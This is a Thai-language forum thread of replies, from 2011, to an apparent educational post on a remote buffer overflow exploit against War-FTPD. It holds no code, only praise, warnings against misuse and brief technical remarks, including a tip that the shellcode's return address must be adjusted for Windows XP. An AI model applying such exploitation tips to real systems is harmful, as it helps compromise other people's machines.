(http://2.bp.blogspot.com/_wOFwy-Iou5E/SxNZHx21sPI/AAAAAAAAAnY/E7TUinnfOwc/s1600/hackers.jpg) หนังเก่าแล้วครับลองไปดูสนุกมากๆ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: dot ที่ 06 เมษายน 2011, 11:46:00 บางคนเกิดมาเพื่อสิ่งนี้ ..ถ้าอายุไม่ล่วงจนป่านนี้ ก็ว่าจะไอทีให้เจ๋ง และไม่แต่งเมีย :P
อยู่แบบซามูไรพเนจร หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: mayaseven ที่ 06 เมษายน 2011, 14:46:24 ขอถาม จขกท. หน่อยครับว่าทำยังไงเว็บผมถึงจะเข้าได้เร็วขึ้นครับผม โอ้ว ถามแบบนี้ ปัจจัยเยอะมากอะ เหมือนถามว่าผมจะเขียนโปรแกรมให้ดีได้อย่างไรเลย :P ถ้าไม่เปิด nc-server ไว้ที่ฝั่งที่เราจะ hack เราสามารถใช้ netcat แฮกไปที่ port อื่นที่เปิดอยุ่ได้ไหมเอ๋ย nc มันเป็นการ connect ไปยัง service ครับ อย่างตอนแรกๆของบทความผมก็ใช้มัน connect ไปที่ port 21 เพื่อน probe ว่ามันเปิด service ไว้จริงๆ แต่จะ connect ไป hack นั้นคือมันจะทำได้แค่ตามที่ service นั้นให้ทำอะครับ ==" เช่น http ก็เรียกดูเว็บได้อะไรงี้ ต้องขอโทษที่ตอบช้านะครับแต่ทถ้ามีปัญหาสงสัยจริงๆก็สามารถถามใน blog ผมได้เลยเพราะผมเข้าไปในนั้นบ่อยกว่า สำหรับวิธีป้องกันนั้นผมได้เพิ่มไว้ใน Blog ของผมแล้วครับแต่ผมคงไม่ได้ตาม update ทุกที่ที่ผมไปโพสหรอกนะไม่ไหว :'( :'( :'( แต่ของที่นี่ผมแก้เพิ่มให้แล้วนะอยู่ล่างๆ หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: sakko51150 ที่ 06 เมษายน 2011, 15:14:54 หน้ากลัว :wanwan035:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: ikarozu ที่ 07 เมษายน 2011, 19:22:16 สุดยอดมากคับ :wanwan003:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: kdm ที่ 07 เมษายน 2011, 20:57:45 อื่ม ก็สนุกดีครับ หามาอีก ชอบๆ :'(
ผมลองแล้ว Work! (http://www.uppices.com/images/39602041607216382658.png) แต่ หาก ใช้ XP run War-FTPD ใน shellcode ตรง return ต้องเปลี่ยนน้ะ เพราะแต่ละ os Address ของ api มันไม่ตรงกัน เพราะตามโค้ด ไม่ใช่ xp น่าจะพวก server 2000 ไม่แน่ใจ :-X หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: KoLoRn ที่ 07 เมษายน 2011, 21:02:05 โอ้ว มายาเซเว่นมาเล่นบอร์ดเสียว
หวัดดีครับ น้องภาควิชา เจอลุงหนวดยิงคำคมเข้าไป เป็นไงบ้าง หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: mayaseven ที่ 10 เมษายน 2011, 00:04:05 อื่ม ก็สนุกดีครับ หามาอีก ชอบๆ :'( ผมลองแล้ว Work! ([url]http://www.uppices.com/images/39602041607216382658.png[/url]) แต่ หาก ใช้ XP run War-FTPD ใน shellcode ตรง return ต้องเปลี่ยนน้ะ เพราะแต่ละ os Address ของ api มันไม่ตรงกัน เพราะตามโค้ด ไม่ใช่ xp น่าจะพวก server 2000 ไม่แน่ใจ :-X เยี่ยมครับมีคนเข้าใจในสิ่งที่ผมโพสด้วยแสดงว่าพื้นไม่ธรรมดานะเนี่ย :wanwan003: :wanwan003: :wanwan003: โอ้ว มายาเซเว่นมาเล่นบอร์ดเสียว หวัดดีครับ น้องภาควิชา เจอลุงหนวดยิงคำคมเข้าไป เป็นไงบ้าง ซาหวาดดีครับ :wanwan017: หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: amazonman ที่ 10 เมษายน 2011, 00:20:23 อย่าเอาไปเ่ล่นซนนะครับ ผมเห็นเด็กอายุไม่กี่ปีติดคุกเพราะเรื่องนี้หลายคนเลยครับ ไม่อยากให้เสียอนาคตเพราะความมือบอนนะครับ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: solitary99 ที่ 10 เมษายน 2011, 01:00:36 น่าจะสนุกแต่ทำไม่เป็น :wanwan044:
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: googlerich ที่ 10 เมษายน 2011, 01:08:17 :P
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!! RBoF กันจั๊กหน่อย เริ่มหัวข้อโดย: mayaseven ที่ 10 เมษายน 2011, 01:11:00 อย่าเอาไปเ่ล่นซนนะครับ ผมเห็นเด็กอายุไม่กี่ปีติดคุกเพราะเรื่องนี้หลายคนเลยครับ ไม่อยากให้เสียอนาคตเพราะความมือบอนนะครับ เพื่อการศึกษาอย่างเดียวครับ ฝากด้วยนะครับไม่อยากให้เอาไปทำให้คนอื่นเดือดร้อน เรียนรู้เพื่อจะได้รู้วิธีป้องกันที่ถูกต้อง :wanwan003: หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: tatacom ที่ 18 เมษายน 2011, 14:51:46 เจ๋งครับ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: unlimited-knowledge ที่ 18 เมษายน 2011, 15:20:37 น่าสนใจมากมายครับ
:'( หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: montherstss ที่ 18 เมษายน 2011, 15:46:36 เก็บความรู้ๆๆๆ
หัวข้อ: Re: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท เริ่มหัวข้อโดย: invisiblepussy ที่ 28 เมษายน 2011, 15:46:23 :wanwan011:
|